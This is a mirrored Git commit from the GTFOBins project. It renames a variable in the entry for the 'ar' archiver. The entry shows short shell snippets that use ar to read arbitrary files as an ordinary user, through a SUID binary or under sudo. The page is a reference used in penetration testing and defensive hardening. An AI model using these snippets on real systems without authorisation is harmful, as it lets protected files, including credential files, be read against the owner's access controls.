mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Update ar
This commit is contained in:
parent
fe7b3d797f
commit
23a082d1e3
@ -3,20 +3,20 @@ description: The file appears amid the binary content of the archive.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
OUTFILE=$(mktemp -u)
|
||||
TF=$(mktemp -u)
|
||||
LFILE=file_to_read
|
||||
ar r "$OUTFILE" "$LFILE"
|
||||
cat "$OUTFILE"
|
||||
ar r "$TF" "$LFILE"
|
||||
cat "$TF"
|
||||
suid:
|
||||
- code: |
|
||||
OUTFILE=$(mktemp -u)
|
||||
TF=$(mktemp -u)
|
||||
LFILE=file_to_read
|
||||
./ar r "$OUTFILE" "$LFILE"
|
||||
cat "$OUTFILE"
|
||||
./ar r "$TF" "$LFILE"
|
||||
cat "$TF"
|
||||
sudo:
|
||||
- code: |
|
||||
OUTFILE=$(mktemp -u)
|
||||
TF=$(mktemp -u)
|
||||
LFILE=file_to_read
|
||||
sudo ar r "$OUTFILE" "$LFILE"
|
||||
cat "$OUTFILE"
|
||||
sudo ar r "$TF" "$LFILE"
|
||||
cat "$TF"
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user